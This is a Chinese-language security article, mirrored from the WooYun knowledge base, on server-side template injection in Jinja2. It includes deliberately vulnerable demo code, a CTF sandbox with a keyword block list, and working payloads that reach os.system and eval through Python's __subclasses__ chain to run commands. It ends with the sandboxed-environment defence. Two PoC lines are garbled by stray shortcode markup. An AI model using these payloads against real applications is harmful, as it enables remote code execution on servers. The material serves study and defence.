利用 Python 特性在 Jinja2 模板中執行任意程式碼

wyzsk發表於2020-08-19
作者: RickGray · 2016/02/25 14:45

0x00 簡介


本文源於老外 @nvisium 在其部落格發表的博文 《Injecting Flask》,在原文中作者講解了 Python 模板引擎 Jinja2 在服務端模板注入 (SSTI) 中的具體利用方法,在能夠控制模板內容時利用環境變數中已註冊的使用者自定義函式進行惡意呼叫或利用渲染進行 XSS 等。

對於 Jinja2 模板引擎是否能夠在 SSTI 的情況下直接執行命令原文並沒有做出說明,並且在 Jinja2 官方文件中也有說明,模板中並不能夠直接執行任意 Python 程式碼,這樣看來在 Jinja2 中直接控制模板內容來執行 Python 程式碼或者命令似乎不太可能。

0x01 模板中複雜的程式碼執行方式


最近在進行專案開發時無意中注意到 Jinja2 模板中可以訪問一些 Python 內建變數,如 [] {} 等,並且能夠使用 Python 變數型別中的一些函式,示例程式碼一如下:

#!python
# coding: utf-8
import sys
from jinja2 import Template

template = Template("Your input: {}".format(sys.argv[1] if len(sys.argv) > 1 else '<empty>'))
print template.render()

為了方便演示,這裡直接將命令引數輸入拼接為模板內容的一部分並進行渲染輸出,這裡我們直接輸入 {{ 'abcd' }} 使模板直接渲染字串變數:

當然上面說了可以在模板中直接呼叫變數例項的函式,如字串變數中的 upper() 函式將其字串轉換為全大寫形式:

那麼如何在 Jinja2 的模板中執行 Python 程式碼呢?如官方的說法是需要在模板環境中註冊函式才能在模板中進行呼叫,例如想要在模板中直接呼叫內建模組 os,即需要在模板環境中對其註冊,示例程式碼二如下:

#!python
# coding: utf-8
import os
import sys
from jinja2 import Template

template = Template("Your input: {}".format(sys.argv[1] if len(sys.argv) > 1 else '<empty>'))
template.globals['os'] = os

print template.render()

執行程式碼,並傳入引數 {{ os.popen('echo Hello RCE').read() }},因為在模板環境中已經註冊了 os 變數為 Python os 模組,所以可以直接呼叫模組函式來執行系統命令,這裡執行額系統命令為 echo Hello Command Exection

如果使用示例程式碼一來執行,會得到 os 未定義的異常錯誤:

0x02 利用 Python 特性直接執行任意程式碼


那麼,如何在未註冊 os 模組的情況下在模板中呼叫 popen() 函式執行系統命令呢?前面已經說了,在 Jinja2 中模板能夠訪問 Python 中的內建變數並且可以呼叫對應變數型別下的方法,這一特點讓我聯想到了常見的 Python 沙盒環境逃逸方法,如 2014CSAW-CTF 中的一道 Python 沙盒繞過題目,環境程式碼如下:

#!python
#!/usr/bin/env python 
from __future__ import print_function

print("Welcome to my Python sandbox! Enter commands below!")

banned = [  
    "import",
    "exec",
    "eval",
    "pickle",
    "os",
    "subprocess",
    "kevin sucks",
    "input",
    "banned",
    "cry sum more",
    "sys"
]

targets = __builtins__.__dict__.keys()  
targets.remove('raw_input')  
targets.remove('print')  
for x in targets:  
    del __builtins__.__dict__[x]

while 1:  
    print(">>>", end=' ')
    data = raw_input()

    for no in banned:
        if no.lower() in data.lower():
            print("No bueno")
            break
    else: # this means nobreak
        exec data

(利用 Python 特性繞過沙盒限制的詳細講解請參考 Writeup),這裡給出筆者改進後的 PoC:

#!python
[c 1="c" 2="in" 3="[" language="for"][/c].__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('echo Hello SandBox')

當然透過這種方式不僅僅能夠透過 os 模組來執行系統命令,還能進行檔案讀寫等操作,具體的程式碼請自行構造。

回到如何在 Jinja2 模板中直接執行程式碼的問題上,因為模板中能夠訪問 Python 內建的變數和變數方法,並且還能透過 Jinja2 的模板語法去遍歷變數,因此可以構造出如下模板 Payload 來達到和上面 PoC 一樣的效果:

#!python
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{{ c.__init__.func_globals['linecache'].__dict__['os'].system('id') }}
{% endif %}
{% endfor %}

使用該 Payload 作為示例程式碼二的執行引數,最終會執行系統命令 id

當然除了遍歷找到 os 模組外,還能直接找回 eval 函式並進行呼叫,這樣就能夠呼叫複雜的 Python 程式碼。

原始的 Python PoC 程式碼如下:

#!python
[a for a in [b for b in [c 1="c" 2="in" 3="[" language="for"][/c].__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0].__init__.func_globals.values() if type(b) == dict] if 'eval' in a.keys()][0]['eval']('__import__("os").popen("whoami").read()')

在 Jinja2 中模板 Payload 如下:

#!python
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.func_globals.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("id").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

使用該 Payload 作為示例程式碼二的執行引數(注意引號轉義),成功執行會使用 eval() 函式動態載入 os 模組並執行命令:

0x03 利用途徑和防禦方法


SSTI(服務端模板注入)。透過 SSTI 控制 Web 應用渲染模板(基於 Jinja2)內容,可以輕易的進行遠端程式碼(命令)執行。當然了,一切的前提都是模板內容可控,雖然這種場景並不常見,但難免會有程式設計師疏忽會有特殊的需求會讓使用者控制模板的一些內容。

在 Jinja2 模板中防止利用 Python 特性執行任意程式碼,可以使用 Jinja2 自帶的沙盒環境 jinja2.sandbox.SandboxedEnvironment,Jinja2 預設沙盒環境在解析模板內容時會檢查所操作的變數屬性,對於未註冊的變數屬性訪問都會丟擲錯誤。

0x04 參考


本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章